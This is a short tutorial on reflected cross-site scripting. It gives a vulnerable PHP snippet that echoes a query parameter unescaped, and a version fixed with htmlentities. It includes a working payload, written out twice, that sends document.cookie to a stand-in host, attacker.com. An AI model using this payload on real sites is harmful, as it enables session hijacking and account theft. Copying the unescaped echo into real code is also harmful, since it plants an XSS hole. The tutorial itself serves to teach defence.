Here are the steps involved in the attack:
- A vulnerable site page (say http://xssvulnerable.com/vulnerable.php) does not escape an input and displays it as it is somewhere on the page.
window.open("http://attacker.com/?stolen_cookie=" + document.cookie)
- In case the vulnerable site has an authenticated session stored in user cookies, attacker will get access to authenticated cookie and can access user account later with the help of this stolen authenticated cookie. Most sites have authenticated cookies valid for some duration if the user chooses so.
Sample php vulnerable code
<?php $query = $_GET['query']; // Displaying user query as it is: echo "Showing results for $query <br/>"; // More code... ?>
<script>window.open("http://attacker.com/?stolen_cookie=" + document.cookie)</script>
Then this code will get executed and user will get redirected due to window.open call. The attacker site will obtain user cookies as these are present in url as query parameter.
Sample php fixed code
To fix above code, we can use php function htmlentities before displaying the $query.
<?php $query = $_GET['query']; $safequery = htmlentities($query); // Displaying user query as it is: echo "Showing results for $safequery <br/>"; // More code... ?>
Types of cross site scripting
We covered non-persistent XSS in above example. But it can be persistent also where unescaped data gets permanently stored by the vulnerable site in its storage. Persistent attack is more harmful as it can impact a larger set of users.